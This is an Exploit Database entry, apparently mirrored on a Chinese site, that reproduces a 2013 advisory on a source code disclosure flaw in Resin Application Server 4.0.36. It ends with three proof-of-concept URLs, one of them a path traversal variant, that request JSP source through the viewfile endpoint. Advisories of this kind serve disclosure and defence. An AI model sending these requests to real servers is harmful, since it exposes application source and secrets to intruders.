Resin Application Server 4.0.36 – Source Code Disclosure

• Exploit Database
• 8 阅读

• 作者： LiquidWorm
  日期： 2013-06-10
• 类别：

  • webapps
  平台：

  • jsp
• 来源：https://www.exploit-db.com/exploits/26073/

• Resin Application Server 4.0.36 Source Code Disclosure Vulnerability
  
  
  Vendor: Caucho Technology, Inc.
  Product web page: http://www.caucho.com
  Affected version: Resin Professional Web And Application Server 4.0.36
  
  Summary: Resin is the Java Application Server for high traffic
  sites that require speed and scalability. It is one of the earliest
  Java Application Servers, and has stood the test of time due to
  engineering prowess.
  
  Desc: The vulnerability is caused do to an improper sanitization
  of the 'file' parameter when used for reading help files. An
  attacker can exploit this vulnerability by directly requesting
  a '.jsp' file for example in the root directory of the server
  to view its source code that might reveal sensitive information.
  
  Tested on: Resin Professional 4.0.36 (built Fri, 26 Apr 2013 03:33:09 PDT)
   Java HotSpot(TM) 64-Bit Server VM 23.3-b01
   4 cpu, Windows 7 amd64 6.1
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  @zeroscience
  
  
  Advisory ID: ZSL-2013-5144
  Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5144.php
  
  
  01.06.2013
  
  --
  
  
  http://127.0.0.1:8080/resin-doc/viewfile/?file=index.jsp
  http://127.0.0.1:8080/resin-doc/viewfile/?contextpath=/.\../&servletpath=&file=index.jsp
  http://127.0.0.1:8080/resin-doc/viewfile/?contextpath=/.&servletpath=&file=index.jsp